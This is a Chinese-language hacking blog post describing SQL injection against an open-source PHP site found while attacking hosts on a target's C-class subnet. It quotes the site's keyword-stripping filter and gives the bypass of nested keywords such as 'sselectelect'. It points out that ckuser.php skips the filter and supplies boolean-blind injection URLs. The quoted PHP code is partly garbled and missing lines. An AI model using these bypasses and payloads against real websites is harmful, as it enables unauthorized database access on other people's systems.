作者:Samy,blog:http://hi.baidu.com/0x7362/blog
渗透一个站时 搞C段碰到的一个站。由于程序是开源程序
并下载其程序看了一番。其实程序员还是有一点安全意识的:
防注入代码:
//要过滤的非法字符
$ArrFiltrate = array ( "#union#i", "#<script#i", "#/script>#i", "#select#i", "#javascript#i", "#<table#i", "#<td#i", "#\"#i", "#\'#i", "#delete#i", "#vbscript#i", "#applet#i", "#<div#i", "#'#i", "#union #i", "#select #i", "#delete #i", "#and #i", "#;#i", ); $replacements=''; function FunStringExist(&$array,$ArrFiltrate,$replacements) if (is_array($array)) { { if (is_array($value)) FunStringExist($array[$key],$ArrFiltrate,$replacements); else } } } FunStringExist($_GET,$ArrFiltrate,$replacements); FunStringExist($_POST,$ArrFiltrate,$replacements);
这段代码多少还是有瑕疵的、把诸如:union 行关键字替换为空
绕过方法:select 换成sselectelect
union 换成 uunionnion
另外只过滤get post提交的数据
别一个文件并没有调用防注入程序,导致字符注入、但受gpc影响
header("Content-Type:text/html;charset=utf-8"); $uname = trim($_GET["name"]); if($uname==''){ echo "true"; }else{ $con = @mysql_connect("$dbserver","$dbuser","$dbpass" )or die(ERR_DB); mysql_select_db("$dbname",$con)or die("can not choose the dbname!"); mysql_query("set names utf8"); $res=mysql_query($query); {echo "true";} else {echo "false";} }
首先注册一个用户.让程序能过判断
ckuser.php?name=maxadd' and 1=1 and ''='
ckuser.php?name=maxadd' and 1=2 and ''='
返回 false